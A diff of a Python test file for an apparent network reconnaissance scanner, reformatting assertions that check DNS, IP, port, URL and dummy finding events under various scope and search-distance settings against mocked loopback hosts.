== "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2 - ] - ) + assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1]) + assert 2 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2]) assert 0 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) assert len(all_events_nodups) == 7 - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2 - ] - ) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2]) assert 0 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 6 - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "DNS_NAME" - and e.data == "test.notrealzies" - and e.internal is True - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "DNS_NAME" - and e.data == "www.test.notreal" - and e.internal is False - and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 1]) + assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test2.notrealzies"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) # dns search distance = 2, report distance = 1 - events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "test.notreal", - _config={"dns": {"minimal": False, "search_distance": 2}, "scope": {"report_distance": 1}}, - _dns_mock=dns_mock_chain, - ) + events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan("test.notreal", _config={"dns": {"minimal": False, "search_distance": 2}, "scope": {"report_distance": 1}}, _dns_mock=dns_mock_chain) assert len(events) == 7 - assert 1 == len( - [ - e - for e in events - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in events - if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in events - if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test2.notrealzies"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) assert len(all_events) == 8 - assert 1 == len( - [ - e - for e in all_events - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2 - ] - ) + assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + assert 2 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2]) assert 0 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) assert len(all_events_nodups) == 7 - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2 - ] - ) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test2.notrealzies" and e.internal is True and e.scope_distance == 2]) assert 0 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 7 - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "DNS_NAME" - and e.data == "test.notrealzies" - and e.internal is False - and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "DNS_NAME" - and e.data == "www.test.notreal" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test2.notrealzies"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - dns_mock_chain = { - "test.notreal": {"A": ["127.0.0.66"]}, - "66.0.0.127.in-addr.arpa": {"PTR": ["test.notrealzies"]}, - "test.notrealzies": {"A": ["127.0.0.77"]}, - } + dns_mock_chain = {"test.notreal": {"A": ["127.0.0.66"]}, "66.0.0.127.in-addr.arpa": {"PTR": ["test.notrealzies"]}, "test.notrealzies": {"A": ["127.0.0.77"]}} class DummyVulnModule(BaseModule): _name = "dummyvulnmodule" @@ -555,17 +246,7 @@ async def filter_event(self, event): return False, "bleh" async def handle_event(self, event): - await self.emit_event( - { - "host": str(event.host), - "description": "yep", - "severity": "CRITICAL", - "confidence": "CONFIRMED", - "name": "Test Finding", - }, - "FINDING", - parent=event, - ) + await self.emit_event({"host": str(event.host), "description": "yep", "severity": "CRITICAL", "confidence": "CONFIRMED", "name": "Test Finding"}, "FINDING", parent=event) def custom_setup(scan): dummyvulnmodule = DummyVulnModule(scan) @@ -573,154 +254,37 @@ def custom_setup(scan): # dns search distance = 3, report distance = 1 events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "test.notreal", - scan_callback=custom_setup, - _config={"dns": {"minimal": False, "search_distance": 3}, "scope": {"report_distance": 1}}, - _dns_mock=dns_mock_chain, + "test.notreal", scan_callback=custom_setup, _config={"dns": {"minimal": False, "search_distance": 3}, "scope": {"report_distance": 1}}, _dns_mock=dns_mock_chain ) assert len(events) == 5 - assert 1 == len( - [ - e - for e in events - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) - assert 1 == len( - [ - e - for e in events - if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3 - ] - ) + assert 1 == len([e for e in events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) assert len(all_events) == 8 - assert 1 == len( - [ - e - for e in all_events - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3 - ] - ) + assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + assert 2 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) + assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) + assert 1 == len([e for e in all_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) assert len(all_events_nodups) == 6 - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3 - ] - ) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) + assert 1 == len([e for e in all_events_nodups if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 7 - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "DNS_NAME" - and e.data == "test.notrealzies" - and e.internal is True - and e.scope_distance == 2 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3 - ] - ) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "FINDING" - and e.data["host"] == "127.0.0.77" - and e.internal is False - and e.scope_distance == 3 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) + assert 1 == len([e for e in _graph_output_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0 events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( @@ -738,301 +302,56 @@ def custom_setup(scan): ) assert len(events) == 7 - assert 1 == len( - [ - e - for e in events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len( - [ - e - for e in events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in events - if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"]) assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"]) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) assert len(all_events) == 14 - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.0:8888" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 2 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "HTTP_RESPONSE" - and e.data["input"] == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.1:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.77:8888/" - and e.internal is False - and e.scope_distance == 1 - and "spider-danger" in e.tags - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.77:8888" - and e.internal is True - and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) assert len(all_events_nodups) == 12 - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.0:8888" - and e.internal is True - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "HTTP_RESPONSE" - and e.data["input"] == "127.0.0.1:8888" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.1:8888/" - and e.internal is False - and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.77:8888/" - and e.internal is False - and e.scope_distance == 1 - and "spider-danger" in e.tags - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1 - ] - ) - assert 1 == len( - [ - e - for e in all_events_nodups - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.77:8888" - and e.internal is True - and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) + assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 7 - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - assert 1 == len( - [ - e - for e in _graph_output_events - if e.type == "OPEN_TCP_PORT" - and e.data == "127.0.0.1:8888" - and e.internal is False - and 